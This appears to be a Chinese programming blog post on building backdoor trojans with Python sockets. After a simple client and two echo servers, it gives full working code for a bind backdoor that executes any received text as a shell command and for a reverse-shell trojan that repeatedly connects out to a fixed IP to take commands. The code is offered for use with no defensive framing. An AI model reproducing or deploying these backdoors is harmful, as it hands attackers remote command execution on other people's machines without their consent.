• python socket编程制作后门木马(原创)


    懒得解释怎么写出来的,直接上代码

    Client:  简单连接服务器

    #!/usr/bin/python
    #coding:utf-8
    
    import socket 
    import sys
    socket.setdefaulttimeout(5)
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    host = "www.baidu.com"
    port = 80
    remote_ip = socket.gethostbyname( host )
    
    message = "GET / HTTP/1.1
    
    "
    
    s.connect((remote_ip, port))
    s.sendall(message)
    
    reply = s.recv(4096)
    
    print reply

    Server:  单线程,长久监听服务,长连接,会话先进先出排队原则

    #!/usr/bin/python
    #coding:utf-8
    
    import socket 
    import sys
    
    HOST = ''
    PORT = 444
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((HOST, PORT))
    s.listen(10)
    
    while 1:
        conn, addr = s.accept()
        print "[+] connecting" , addr[0] + ":" , addr[1]
        conn.send("Welcome to the server. Type something like:"
                "COOKIE,GET,POST and hit <ENTRE>
    ")
        while 1:
            data = conn.recv(1024)
            print data
            if data == "GET
    ":
                data = "OK, wait a moment
    "
            if data == "POST
    ":
                data = "I am not a http server
    "
            if data == "COOKIE
    ":
                data = "a cookie Biscuits??
    "
            if data:
                conn.sendall(data)
            else:
                break
        
        conn.close()
    s.close()

     Server:  多线程,长久监听服务,长连接,同步处理会话

    #!/usr/bin/python
    #coding:utf-8
    
    import socket 
    import sys
    from thread import *
    
    HOST = ''
    PORT = 555
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((HOST, PORT))
    s.listen(10)
    
    def clientthread(conn):
        conn.send("Welcome to the server. Type something like:"
                "COOKIE,GET,POST and hit <ENTRE>
    ")
        while 1:
            data = conn.recv(1024)
            print data
            if data == "GET
    ":
                data = "OK, wait a moment
    "
            if data == "POST
    ":
                data = "I am not a http server
    "
            if data == "COOKIE
    ":
                data = "a cookie Biscuits??
    "
            if data:
                conn.sendall(data)
            else:
                break
        conn.close()
            
    
    while 1:
        conn, addr = s.accept()
        print "[+] connecting" , addr[0] + ":" , addr[1]
        start_new_thread(clientthread, (conn,))
    
    s.close()
    
        

     BackDoor: 结合命令执行制作后门木马(正向)

    #!/usr/bin/python
    #coding:utf-8
    
    import socket 
    import sys
    import commands
    from thread import *
    
    HOST = ''
    PORT = 854
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((HOST, PORT))
    s.listen(10)
    
    def clientthread(conn):
        conn.send("Welcome demon's backdoor!".center(50,"*") + "
    ")
        while 1:
            conn.send("Demon_Backdoor# ")
            data = conn.recv(1024)
            if data:
                cmd = data.strip("
    ")
                code,res = commands.getstatusoutput(cmd)
    
                if code == 0 :
                    conn.sendall(res+"
    ")
                else:
                    print "[-]Error: code",code
                data = ""
    
            else:
                break
    
        conn.close()
            
    
    while 1:
        conn, addr = s.accept()
        print "[+] connecting" , addr[0] + ":" , addr[1]
        start_new_thread(clientthread, (conn,))
    
    s.close()

      

    BackDoor: 反弹shell(反向)

    #!/usr/bin/python
    #coding:utf-8
    
    import socket 
    import sys
    import commands
    from time import sleep
    from thread import *
    
    HOST = "192.168.10.24"
    PORT = 444
    
    
    def clientthread(s):
        global isConnect
        s.send("Welcome demon's backdoor!".center(50,"*") + "
    ")
    
        while 1:
            s.send("Demon_Backdoor# ")
            data = s.recv(1024)
            if data :
                cmd = data.strip("
    ")
                code,res = commands.getstatusoutput(cmd)
    
                if code == 0 :
                    s.sendall(res+"
    ")
                else:
                    print "[-]Error: code",code
                data = ""
            else:
                break
    
    
    while 1:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((HOST, PORT))
            print "[+] connecting" , HOST + ":", PORT
            clientthread(s)
            #start_new_thread(clientthread, (s,))
            s.close()
        except:
            sleep(0.5)

    转载指明出处:http://www.cnblogs.com/demonxian3/p/8666416.html

  • 相关阅读:
    Firefox浏览器安装 Disable Javascript插件
    Web常见漏洞及修复建议
    查询公网出口IP
    jQuery jsonp跨域请求--转载自https://www.cnblogs.com/chiangchou/p/jsonp.html
    理解闭包 js回收机制--转载https://www.cnblogs.com/wangyingblog/p/5569745.html
    全面理解Javascript闭包和闭包的几种写法及用途--转载自https://www.cnblogs.com/yunfeifei/p/4019504.html
    什么是闭包?闭包的优缺点?--转载自https://www.cnblogs.com/cxying93/p/6103375.html
    JavaScript局部变量和全局变量的理解--转载自https://www.cnblogs.com/eric-qin/p/4166552.html
    好文收藏
    SQL In和Like 参数化
  • 原文地址:https://www.cnblogs.com/demonxian3/p/8666416.html
Copyright © 2020-2023  润新知